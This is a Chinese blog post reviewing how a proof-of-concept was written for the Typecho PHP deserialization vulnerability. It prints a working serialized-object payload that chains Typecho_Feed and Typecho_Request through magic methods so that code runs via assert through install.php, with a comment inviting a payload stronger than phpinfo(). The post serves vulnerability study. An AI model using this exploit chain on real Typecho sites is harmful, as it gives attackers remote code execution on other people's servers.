记一次typecho的反序列化漏洞poc复盘

1、引言:

最近刚开始学习PHP的反序列化漏洞,磕了几天typecho的反序列化漏洞,发现对漏洞的发现思路很多文章都写了,但对POC的如何编写反而都是一笔带过,借鉴了几篇文章,想写一下这个poc的编写思路。

typecho反序列化漏洞发现思路,直接参考别的博主,就不在叙述了:记一次typecho反序列化漏洞的复现(第一次写poc版)_漏洞poc-CSDN博客CVE-2018-18753 Typecho 反序列化漏洞 分析复现-CSDN博客

拜谢前辈。

2、POC复现

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';    //替换phpinfo()这里进行深度利用
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

代码主要分为四块:

第一块是构建Typecho_Feed类,第二块是构建typecho_Request类,第三块创建个数组,第四则是输出。

先讲最简单的,第四块,已经知道传参点是在install.php中的‘__typecho_config’在如下的代码中,对参入的参数经过get函数后,进行了base64解码和反序列化,相应的,我们的传参则是先序列化后再base64编码。

第二则讲一下Typecho_Feed和typecho_Request两个类,为什么要创建这两个类,根据前面两篇文章,我们已经知道,我们反序列话的思路是这样,利用install.php中的__typecho_config,传入参数,随后代码执行到“$db = new Typecho_Db($config['adapter'], $config['prefix']);”后(如下)

,利用config的参数new了一个Typecho_Db对象。

在new对象的过程中触发Typecho_Db的__construnct函数,跳转到Db.php中,并对传入的第一个参数“$adapterName”进行了拼接(如下)。其实这里我们就能看出,在new对象的时候,传入的$config['adapter']就等于__construnct的“$adapterName”,所以后面的对象是要写$config['adapter']这个参数里的,惨能利用字符串拼接,触发__string()函数。

在进行字符串拼接后,即触发__string()函数,我们利用的是Feed.php中的string()函数(如下),具体利用的是$item['author']->screenName,这个是访问item数组中author键值对应的对象中的screenName属性。利用screenName属性不存在,从而触发_get()函数。

我们接着往下走,这次要利用到的是Request.php中的__get()函数,如下图,查看__get()中的值传入$this->get()方法中,图二就是get()方法,发现传入的参数最后被传入$this->_applyFilter()函数,在_applyFilter()函数中调用了我们的终极目标函数call_user_func()执行了系统命令。

让我们再回过来理一下思路,倒着推理一下,我们需要触发的是 Request.php中class Typecho_Request这个类中的__get()函数,而触发__get()是从class Typecho_Feed这个类中的__sting()函数中的一次对象访问不存在属性触发的。那我们要构建的poc肯定是要创建Typecho_Feed的对象,当这个对象在执行__sting()时,在触发ypecho_Request的__get()函数,要怎么做才能让两个类的函数发生关联呢?

这就是我们poc中在class Typecho_Feed中new一个 Typecho_Request()的对象的目的,还记得前面的Feed.php中的string()下的$item['author']->screenName,那我们的poc把$_items中的第一个对象数组item中的author键对应的值改为Typecho_Request()对象,当代码走到$item['author']->screenName,其实就是new Typecho_Request()的这个对象去访问screenName的属性,从而事项本次poc最关键的一步,两个类魔法方法的串联。

其他的就很简单了,参照源代码中class Typecho_Feed和class Typecho_Request()的构建方式,在我们的poc中填入必要的参数。构建好class Typecho_Feed和class Typecho_Request()类的结构。然后解释最后一块,创建数组。也就是我们代码的这一块。其实前面已经讲到过了,我们最初传入的config,本质上是个数组,其中的$config['adapter']其实就是传入__construnct的“$adapterName”,用来字符串拼接从而触发Typecho_Feed的__string(),所以我们构建poc的时候,传入的数组的adapter键,对应的键值就是Typecho_Feed对象,才能使该对象在__construnct()这一步中被转化成字符串。

3、结语

其实poc的一些细节讲的还不是很到位,但我觉得最难理解的就是class Typecho_Feed和class Typecho_Request()这两个类如何让魔法方法串联起来这一步,这也是这篇文章我着重仔细想讲的,第一次写,感觉可能写的还不是很清楚,希望能对小伙伴们有帮助。

  • 22
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值